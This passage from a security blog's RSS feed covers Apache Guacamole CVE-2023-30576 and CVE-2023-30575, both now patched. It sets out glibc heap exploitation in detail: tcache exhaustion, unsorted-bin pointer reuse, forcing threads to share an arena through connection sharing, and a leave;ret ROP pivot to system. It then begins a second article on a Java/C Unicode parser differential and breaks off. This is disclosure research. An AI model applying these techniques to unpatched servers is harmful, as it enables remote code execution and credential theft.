chunk is merged with the surrounding chunks.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because of its size, the socket is suitable for the 0x80 tcache bin. Thus, the head pointer of this tcache bin is updated to reference the now free chunk. At next, the user is freed. Its size is 0x130 bytes, and the corresponding tcache bin is empty. Hence, it is added to this bin:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d6f8ebb3-22cd-4175-831c-5d61a03cc12c/guacamole2_no_realloc1.gif&quot; /&gt;&lt;p&gt;Let’s have a closer look at what actually happens when the user is freed and put into the tcache bin. We are particularly interested in the user socket pointer. This pointer is located at offset 8, as shown in the below image, and references the socket. When the user is freed, it becomes a chunk in the tcache bin. Thus, the first 8 bytes are populated with the forward pointer (FD) of the singly linked list. However, the next 8 bytes are also populated with the tcache key. This results in the socket pointer being overwritten and corrupted:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ae814a4d-b811-455a-b679-f02e0ab7caf9/guacamole2_free_tcache.png&quot; /&gt;&lt;p&gt;Even if we could control the &lt;code&gt;lock_handler&lt;/code&gt; function pointer in the socket, the socket would not be referenced anymore. Again, this approach feels like a dead-end.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, an attacker can prevent the user from ending up in the tcache bin with some preparation before the user is freed. Since every tcache bin is by default limited to 7 entries, the attacker can make the application allocate and free seven chunks with this size before disconnecting. This exhausts the 0x130 tcache bin, and thus the user cannot be put here. Due to the size of the user, it is also not suitable for a fastbin and ends up in the unsorted bin of its arena:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8d6241c1-f33d-43c4-b7e2-49c1e168d38b/guacamole2_no_realloc2.gif&quot; /&gt;&lt;p&gt;Let’s have a closer look at what exactly is happening when the user is put into the &lt;strong&gt;unsorted bin&lt;/strong&gt; instead of a tcache bin.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Again, before the user is freed, it holds a pointer to the socket at offset 8, as shown in the below image. Once the user is freed, it is put into the unsorted bin. Because this bin is doubly linked, a backward pointer (BK) is inserted at offset 8. This, again, overwrites the socket pointer, but now the socket pointer is a valid pointer, which references the unsorted bin in the arena:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1370d13e-bfa0-4ceb-978f-b8f74aedc300/guacamole2_free_unsorted_bin.png&quot; /&gt;&lt;p&gt;The memory the socket pointer is referencing (the unsorted bin) cannot be directly controlled. An attacker would like to place a valid socket there, where the &lt;code&gt;lock_handler&lt;/code&gt; function pointer can be set to an arbitrary address, but this memory in the arena only holds pointers to heap chunks. If one of these were interpreted as a function pointer, this would cause an immediate segmentation fault since heap chunks are marked as non-executable (NX):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/50d7b2f0-a212-4479-85bc-e3f40c68c287/guacamole2_bk_unsorted.png&quot; /&gt;&lt;p&gt;However, if an attacker could free another chunk to the unsorted bin, it would be placed at the head of the doubly linked list. Thus, the backward pointer (BK) of the freed user chunk would point to this free chunk:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5cd6f912-3416-4cbc-9e21-fb2e4b84f5dc/guacamole2_bk_attacker_data.png&quot; /&gt;&lt;p&gt;This raises the question: Is it possible to free another chunk after the user is freed?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And, as you may remember, there is actually another free call right before the thread terminates.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But, due to its size, this chunk is placed in the tcache bin or fastbin:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a68687cf-5038-4522-ab24-9702c48e4f30/guacamole2_params_fastbin.png&quot; /&gt;&lt;p&gt;Thus, the thread ends its execution and it’s game over.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But then we were wondering: Since the thread terminates… What is actually happening to its tcache data structure?&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/fefa0cb5-8fe4-4a3f-9f34-4856cf3b8bf9/guacamole2_tcache.png&quot; /&gt;&lt;p&gt;The answer to this can be found in the &lt;a href=&quot;https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L3208&quot;&gt;glibc source code&lt;/a&gt;. When a thread is terminated, the function &lt;code&gt;tcache_thread_shutdown&lt;/code&gt; is executed. This function frees all chunks in the tcache (&lt;code&gt;e&lt;/code&gt;) and the tcache data structure (&lt;code&gt;tcache_tmp&lt;/code&gt;) itself back to its arena again:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;static void tcache_thread_shutdown (void) {
  // ...
  /* Free all of the entries and the tcache itself back to the arena heap for coalescing. */
  for (i = 0; i &lt; TCACHE_MAX_BINS; ++i) {
    while (tcache_tmp-&gt;entries[i]) {
      tcache_entry *e = tcache_tmp-&gt;entries[i];
      // ...
      tcache_tmp-&gt;entries[i] = REVEAL_PTR (e-&gt;next);
      __libc_free (e);
    }
  }
  __libc_free (tcache_tmp);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is done sequentially: At first, all chunks within the size range of 0x20 up to 0x80 are transferred to the fastbin of the arena. Next, chunks bigger than 0x80 are put into the unsorted bin of the arena:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ae894ca3-186f-49a4-beac-781a82400667/guacamole2_thread_shutdown.png&quot; /&gt;&lt;p&gt;And here is the window of opportunity for an attacker. The first tcache bin suitable for the unsorted bin is the size 0x90 tcache bin. When the thread is terminated, this bin is empty by default. If an attacker had made the application allocate and free a chunk of size 0x90 beforehand, it would have been placed into this tcache bin. This is now the first chunk, which is transferred to the unsorted bin during the thread shutdown.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since this chunk is added to the unsorted bin right after the freed user structure, the backward pointer (BK), which overlaps with the socket pointer, now references this chunk with the attacker data. Therefore, the attacker created a valid data structure:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3721dd6e-431d-4a6e-9d12-19a1c6c0c4eb/guacamole2_bk_ptr.gif&quot; /&gt;&lt;p&gt;When the audio channel is closed, the fake socket is referenced through the heap metadata backward pointer (BK), and the attacker-controlled &lt;code&gt;lock_handler&lt;/code&gt; function pointer is called. Once the &lt;code&gt;lock_handler&lt;/code&gt; function is called, the application raises a segmentation fault verifying the instruction pointer control.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, there is a little problem with this approach. For all of this to work, the attacker needs to craft some data, which is freed to the 0x90 tcache bin. The only available primitive to do this is calling &lt;code&gt;strdup&lt;/code&gt; to copy the attacker-controlled data from a static buffer to the heap:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ba3be1ee-a5d2-46b9-9968-2eebb7247f07/guacamole2_strdup_fail.png&quot; /&gt;&lt;p&gt;If the attacker wants to populate the &lt;code&gt;lock_handler&lt;/code&gt; function pointer with a gadget address, this address contains null bytes. &lt;code&gt;strdup&lt;/code&gt; will only copy the data until the first null byte. This on its own is not a problem because the attacker only has a one-shot gadget anyway, but the size of the allocated chunk is now far less. That means if the chunk is freed, it is put into the 0x40 tcache bin instead of the 0x90 tcache bin. When the thread terminates, this tcache bin is not transferred to the unsorted bin but to the fastbin.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although the technique of leveraging the heap metadata and internal processing of chunks to craft valid data structures might be applicable in certain situations, we are missing one single primitive for this here. So, back to the drawing board. Could there be another way to leverage reallocation?&lt;/p&gt;&lt;h2&gt;Use-After-Free Exploit - With Reallocation?&lt;/h2&gt;&lt;p&gt;Let’s reconsider the problem with the classical reallocation approach.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We have a lot of threads. All of these threads are assigned to a different arena. When the connection is terminated, the user and socket are freed by the &lt;code&gt;user_thread&lt;/code&gt; and returned to the arena this thread is attached to (&lt;code&gt;arena 4&lt;/code&gt;). An attacker could still make allocations, but only from the &lt;code&gt;rdp_client_thread&lt;/code&gt;, which is attached to a different arena (&lt;code&gt;arena 8&lt;/code&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a7e909b1-d8c4-4657-b78a-be43d88e8ec9/guacamole2_arena.gif&quot; /&gt;&lt;p&gt;At this point, a feature called &lt;a href=&quot;https://guacamole.apache.org/doc/gug/using-guacamole.html#sharing-the-connection&quot;&gt;connection sharing&lt;/a&gt; turned out to be very useful. Connection sharing means that somebody else can join an existing session:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/176818e0-54bb-45b3-a57a-b7bb976dd9b4/guacamole2_conn-sharing.png&quot; /&gt;&lt;p&gt;In fact, &lt;em&gt;somebody else&lt;/em&gt; doesn’t need to be &lt;em&gt;somebody else&lt;/em&gt;. It can also be the same user who initiated the connection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once a user joins their own connection, no new child process is forked. The existing child process responsible for this connection just creates more threads to handle the shared connection. And there is basically no limit on how often you can join your own connection. This means that an attacker can create a lot of threads. And all of these threads also need an arena. But the amount of arenas is limited. This limit depends on the number of CPU cores. For 32-bit systems, the limit is twice the number of cores, and on 64-bit systems, it is eight times the number of cores:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ba38c75c-63de-4bd9-a1df-0aa2690933cc/guacamole2_join_conn.gif&quot; /&gt;&lt;p&gt;Let’s assume that we have only one core on a 64-bit system. This means we have already reached the limit of 8 arenas, and for additionally created threads, the existing arenas are repurposed:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2cd67c78-eb40-4582-8b7a-c57c1541866b/guacamole2_arena_match.gif&quot; /&gt;&lt;p&gt;With the example shown above, one of the &lt;code&gt;io_threads&lt;/code&gt; is also assigned &lt;code&gt;arena 4&lt;/code&gt;. However, an attacker cannot control any allocations from this thread. The thread an attacker can control for shared connections is the &lt;code&gt;input_thread&lt;/code&gt;. Hence, the attacker wants this thread to be assigned to &lt;code&gt;arena 4&lt;/code&gt;. In order to do so, the attacker can just join the connection again and create more threads. Eventually, this succeeds, and the &lt;code&gt;input_thread&lt;/code&gt; is assigned to the existing &lt;code&gt;arena 4&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The allocation primitive available from this thread also allows an attacker to include null bytes. Since it is attached to the same arena as the &lt;code&gt;user_thread&lt;/code&gt;, it is now possible to reallocate the freed socket and user and fully control the instruction pointer this time. &lt;/p&gt;&lt;h2&gt;Use-After-Free Exploit - ROP Chain&lt;/h2&gt;&lt;p&gt;With this solid instruction pointer control, an attacker is now able to trigger an ROP chain to ultimately gain code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The exploit conditions of the vulnerability are in favor of an attacker. The &lt;code&gt;lock_handler&lt;/code&gt; function pointer is called with the socket itself passed as an argument. One disadvantage of the allocation primitive for a shared connection is that the allocated data is immediately freed again. Although an attacker can make it end up in a fastbin, the first 8 bytes are still messed up by the inserted forward pointer. But this can be overcome with a &lt;code&gt;leave;ret&lt;/code&gt; pivoting gadget. This gadget sets the stack pointer (&lt;code&gt;RSP&lt;/code&gt;) to offset 8, where we can store more gadgets:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7b927290-0e24-4acd-b236-6d80d9fd024c/guacamole2_rop.png&quot; /&gt;&lt;p&gt;The first gadget loads the address of &lt;code&gt;system&lt;/code&gt; to &lt;code&gt;RCX&lt;/code&gt;, and the second gadget offsets &lt;code&gt;RDI&lt;/code&gt; to the command string to be executed and jumps to &lt;code&gt;system&lt;/code&gt;. Thus &lt;code&gt;system&lt;/code&gt; is executed with the command string provided as its first argument.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At this point, the attacker has gained code execution on the Guacamole Server via the externally exposed Guacamole Client:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c0c2d7ce-f0bf-4314-b90e-d847ae9531bb/guacamole2_rce.png&quot; /&gt;&lt;p&gt;This great &lt;a href=&quot;https://research.checkpoint.com/2020/apache-guacamole-rce/&quot;&gt;Check Point Research article&lt;/a&gt; on Apache Guacamole by Eyal Itkin covers a different attack vector and comprehensively describes the impact of gaining remote code execution on the Guacamole Server, which allows an attacker to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Harvest more credentials,&lt;/li&gt;&lt;li&gt;spy on every connection, or&lt;/li&gt;&lt;li&gt;just pivot to the hosts in the internal network.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this second article, we have seen that the requirement of high parallelism makes an application like Guacamole prone to concurrency issues. We have detailed a critical Use-After-Free vulnerability in the audio input feature and detailed different glibc heap exploitation techniques, which could be leveraged by an attacker to turn this vulnerability into arbitrary code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Parallelism has been around for decades but is still a source of severe security vulnerabilities nowadays. We have seen that an attacker might not be required to reallocate a freed chunk to exploit a Use-After-Free vulnerability if the heap metadata can be leveraged to craft valid data structures. Of course, this is dependent on the specific scenario, but it is definitely something to keep in mind. Furthermore, we have seen that the arena separation can be overcome by spawning a lot of threads.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At last, we would like to thank the Guacamole maintainers for quickly responding to our report and providing a comprehensive patch!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/avocado-nightmare-1&quot;&gt;Code Interoperability: The Hazards of Technological Variety&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/hexacon2023-highlights/&quot;&gt;Highlights from Hexacon 2023&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/patches-collisions-and-root-shells-a-pwn2own-adventure/&quot;&gt;Patches, Collisions, and Root Shells: A Pwn2Own Adventure&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Code Interoperability: The Hazards of Technological Variety]]></title><description><![CDATA[The rapid development of different technologies doesn’t come without risks. This blog post details a critical vulnerability in the remote desktop gateway Apache Guacamole, which showcases the challenges of code interoperability.]]></description><link>https://www.sonarsource.com/blog/avocado-nightmare-1</link><guid isPermaLink="false">17addece-59ff-5196-b07b-0467df580071</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 07 May 2024 15:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;In April 2023, the Sonar Research team discovered and reported two critical vulnerabilities in &lt;a href=&quot;https://guacamole.apache.org/&quot;&gt;Apache Guacamole&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Apache Guacamole is a popular remote desktop gateway commonly used in enterprise environments to access hosts and isolated applications from a web browser.&lt;/li&gt;&lt;li&gt;The vulnerabilities tracked as &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30575&quot;&gt;CVE-2023-30575&lt;/a&gt; and &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30576&quot;&gt;CVE-2023-30576&lt;/a&gt;, would have allowed low-privileged users to gain remote code execution (RCE) on the Guacamole server by attacking the external web interface.&lt;/li&gt;&lt;li&gt;Attackers could leverage this access to spy on every connection, harvest sensitive credentials, and pivot to an organization’s internal network.&lt;/li&gt;&lt;li&gt;Thanks to our report, the Guacamole maintainers &lt;a href=&quot;https://guacamole.apache.org/security/#fixed-in-apache-guacamole-152&quot;&gt;fixed the vulnerabilities&lt;/a&gt; in May 2023 with version 1.5.2, and there were no signs of in-the-wild exploitation.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;Can you think about even one project that does not use several programming languages, protocols, or communication standards? Today’s variety of technologies introduces a significant challenge when it comes to interoperability. If two different software components interact with each other but disagree about certain specifics of their communication protocol, this may introduce vulnerabilities known as parser differentials.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;This two-part blog series dives into two critical vulnerabilities in the remote desktop gateway Apache Guacamole, which allows users to access remote machines via a web browser. The Guacamole gateway is usually the only externally accessible instance, granting access to remote machines isolated in an organization’s internal network.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;This first article will explain how Guacamole’s architecture connects a Java component with a C backend server, which introduces the aforementioned challenge of interoperability. We will determine how Java’s internal processing of Unicode strings can lead to unexpected behavior, which results in a severe vulnerability an attacker can exploit.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;In the &lt;a href=&quot;https://www.sonarsource.com/blog/avocado-nightmare-2/&quot;&gt;second article&lt;/a&gt;, we will see that the requirement of high parallelism to serve and share hundreds of connections at the same time makes an application like Guacamole also prone to concurrency issues. We will dive into the world of glibc heap exploitation and explain how attackers could ultimately gain remote code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also presented the content of this blog post series at &lt;a href=&quot;https://www.sonarsource.com/blog/hexacon2023-highlights/&quot;&gt;Hexacon23&lt;/a&gt;. A recording of the talk can be found here: &lt;a href=&quot;https://www.youtube.com/watch?v=ToIn2bkD9yU&quot;&gt;YouTube: HEXACON2023 - An Avocado Nightmare by Stefan Schiller&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Apache Guacamole 1.5.1 and below&lt;/strong&gt; incorrectly calculates the length of instructions sent during the Guacamole protocol handshake, which allows attackers to &lt;strong&gt;inject Guacamole instructions during the handshake&lt;/strong&gt; (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30575&quot;&gt;CVE-2023-30575&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Furthermore, &lt;strong&gt;Apache Guacamole 0.9.10 throughout 1.5.1&lt;/strong&gt; continues to reference a freed RDP audio input buffer, leading to a &lt;strong&gt;Use-After-Free vulnerability&lt;/strong&gt; (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30576&quot;&gt;CVE-2023-30576&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Both vulnerabilities can be combined by a &lt;strong&gt;low-privileged user&lt;/strong&gt; with access to an RDP connection to gain &lt;strong&gt;remote code execution&lt;/strong&gt; on the Guacamole server. This access could be used to spy on every connection, harvest sensitive credentials, and pivot to an organization’s internal network:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/wObnojDuC54&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The vulnerabilities have been &lt;a href=&quot;https://guacamole.apache.org/security/#fixed-in-apache-guacamole-152&quot;&gt;fixed with Apache Guacamole version 1.5.2&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we briefly describe how Apache Guacamole works under the hood and then dive into the first vulnerability, which is a parser differential between Guacamole’s Java and C components. We explore the root cause of this vulnerability and outline how an attacker could exploit it.&lt;/p&gt;&lt;h3&gt;Apache Guacamole Architecture&lt;/h3&gt;&lt;p&gt;From a user’s perspective, Guacamole is very simple:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;You access the external web interface,&lt;/li&gt;&lt;li&gt;You enter your credentials, and&lt;/li&gt;&lt;li&gt;You are automatically connected to your configured internal host.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can access this host like a virtual machine fully from the browser:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/64eac617-6585-4d95-9e7d-de49c3a84afb/guacamole.png&quot; /&gt;&lt;p&gt;Because of the simplicity of this solution, it is utilized for many different use cases in enterprise environments:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;It can be used by remote employees to access computers in their company.&lt;/li&gt;&lt;li&gt;It can be used for bring-your-own-device (BYOD) deployments to access company resources safely from a personal device.&lt;/li&gt;&lt;li&gt;It is used in popular browser isolation solutions.&lt;/li&gt;&lt;li&gt;It can be used for server administration.&lt;/li&gt;&lt;li&gt;And it can also be integrated with cloud platforms.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Behind the scenes of this handy solution are two different components: the Guacamole Client and the Guacamole Server:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1c3b0752-6742-42b3-9664-8f2e6428c934/guacamole_architecture.png&quot; /&gt;&lt;p&gt;The Guacamole Client is the externally exposed component that communicates with the browser. It is written in Java and provides the web interface. It serves the required client-side JavaScript code, is responsible for user authentication, and provides a WebSocket endpoint. Once a connection is established, it basically passes all communication through to the Guacamole Server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Guacamole Server is written in C and is usually not externally exposed. In a default setup, it runs on the same machine as the Guacamole Client and listens on localhost only. This component is responsible for making the specific remote connection to the internal hosts via RDP, SSH, or VNC.&lt;/p&gt;&lt;h3&gt;Guacamole Protocol&lt;/h3&gt;&lt;p&gt;All communication between both components is done via the custom Guacamole Protocol. This protocol is a generic remote desktop protocol and abstraction of the specific protocols RDP, VNC, and SSH. Due to the abstraction, the JavaScript client-side code in the browser does not need to care about these particular protocols and only needs to support the Guacamole Protocol. Like for any remote desktop protocol, the user input is, for example, a keyboard stroke or a mouse movement, and the output is the screen display of the internal host.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The whole communication is based on single Guacamole Instructions. An example of such an instruction to move the mouse looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/48261997-8804-4390-828c-dca817c4d45e/guacamole_instruction.png&quot; /&gt;&lt;p&gt;It consists of three elements in this case, which are comma-separated and terminated by a semicolon. The first element is the opcode, and all the following elements are arguments to this opcode. Each element on its own consists of a decimal integer for its &lt;code&gt;LENGTH&lt;/code&gt; followed by a separating period and the actual &lt;code&gt;VALUE&lt;/code&gt;. The length of this value is denoted by the decimal integer in front of it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the case of the above example, the instruction is sent by the client to set the mouse position to the provided x and y coordinates. In order to send this instruction, the connection to the internal host must be established first, of course. For this purpose, the Guacamole Client and Server perform a Handshake. During this phase, the client tells the server how to set up the connection to the internal host:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1e18cfab-a154-4ec3-a2ca-24ddcf5f3a90/guacamole_handshake.png&quot; /&gt;&lt;p&gt;At first, the client sends a &lt;code&gt;select&lt;/code&gt; instruction to inform the server which remote protocol to use. In this case, RDP. Then, the client sends a few other instructions, followed by an &lt;code&gt;image&lt;/code&gt; instruction. This tells the server which image types the user’s browser supports. At the very end of the handshake, the client sends a &lt;code&gt;connect&lt;/code&gt; instruction. This instruction contains all the information required to make the RDP connection. So, for example:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The IP address of the internal host&lt;/li&gt;&lt;li&gt;The port of the RDP service, and&lt;/li&gt;&lt;li&gt;The credentials to use for the RDP connection.&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Once the server receives this instruction, it establishes the RDP connection to the internal host.&lt;/p&gt;&lt;h3&gt;Attack Surface&lt;/h3&gt;&lt;p&gt;From an attacker’s point of view, we can already make some interesting observations. The first observation is related to the handshake: The supported image types sent from the client to the server are taken from this query parameter sent by the browser:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a105edff-d3b9-4dfd-95d6-b52780e0e243/guacamole_attack-surface.png&quot; /&gt;&lt;p&gt;This is the only value a low-privileged user can influence during the Handshake. All other values are populated from the configuration in the database. Another thing that we noticed is &lt;a href=&quot;https://guacamole.apache.org/doc/gug/guacamole-protocol.html#handshake-phase&quot;&gt;this excerpt from the protocol specification&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Each element of the list has a positive decimal integer length prefix separated by the value of the element by a period. This length denotes the number of Unicode characters in the value of the element, which is encoded in UTF-8.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It states that the &lt;code&gt;LENGTH&lt;/code&gt; field of a Guacamole instruction is not a byte length. Instead, it denotes the number of UTF-8 encoded Unicode characters. From an attacker’s point of view, this promises encoding issues, which have already proven to be security-relevant in the past.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is particularly interesting because of the language difference: The Guacamole Client is written in Java, and the Guacamole Server is a C application. Both of these components need to handle the encoding in the same way, which leads us to a significant challenge software faces nowadays: &lt;em&gt;Technological Variety&lt;/em&gt;.&lt;/p&gt;&lt;h3&gt;Technological Variety&lt;/h3&gt;&lt;p&gt;There are two crucial aspects of why this is so relevant nowadays: On the one hand, we have a vast landscape of technologies, and on the other hand, everything is heavily connected. The result of this is that there is a lot of communication between very different types of components. If these components even slightly disagree about a certain specific of their communication, this can have a devastating impact:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1aaee1bc-5d64-480e-849e-f52ae677523b/guacamole_tech-variety.png&quot; /&gt;&lt;p&gt;Guacamole is an excellent example of this challenge because it employs two different programming languages in a single project. To determine any inconsistencies between both components, we set up a small and straightforward fuzzing environment:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7be64389-b05d-4ad5-84d3-d5366d4c06e4/guacamole_fuzz.png&quot; /&gt;&lt;ol&gt;&lt;li&gt;At first, we feed some random input to the Java part.&lt;/li&gt;&lt;li&gt;Then, we generate an &lt;code&gt;image&lt;/code&gt; Instruction with the input as an argument and send it to the C part.&lt;/li&gt;&lt;li&gt;The C part consumes and parses the instruction.&lt;/li&gt;&lt;li&gt;After this, we check whether the C parser just crashed or its internal state is inconsistent.&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;All of this just uses the existing Source Code, only with a small harness.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It didn’t take long before this simple setup dumped an interesting input:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/81b8ab2f-8c53-4670-8323-86b95fc8e0ca/guacamole_fuzz-dump.png&quot; /&gt;&lt;p&gt;The green byte sequence &lt;code&gt;f0 af a0 a2&lt;/code&gt; was randomly generated and the surrounding bytes were added by the Java code. This byte sequence is a 4-byte UTF-8 sequence representing a CJK Unicode character. Although this is a single Unicode character, Java populated the &lt;code&gt;LENGTH&lt;/code&gt; field with the value &lt;code&gt;2&lt;/code&gt;. The C parser ended up in an inconsistent state because another Unicode character was expected, which is correct according to the specification.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s do some basic tests to determine why Java included the value &lt;code&gt;2&lt;/code&gt; here.&lt;/p&gt;&lt;p&gt;Java agrees that a single &lt;code&gt;A&lt;/code&gt; character has a length of 1:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1b440981-f2dd-4dd6-a71b-eb2421ad0fcc/guacamole_strlen-A.png&quot; /&gt;&lt;p&gt;Java also doesn’t seem to have a problem with this Greek beta character and also agrees that its length is 1:&lt;/p&gt;&lt;img 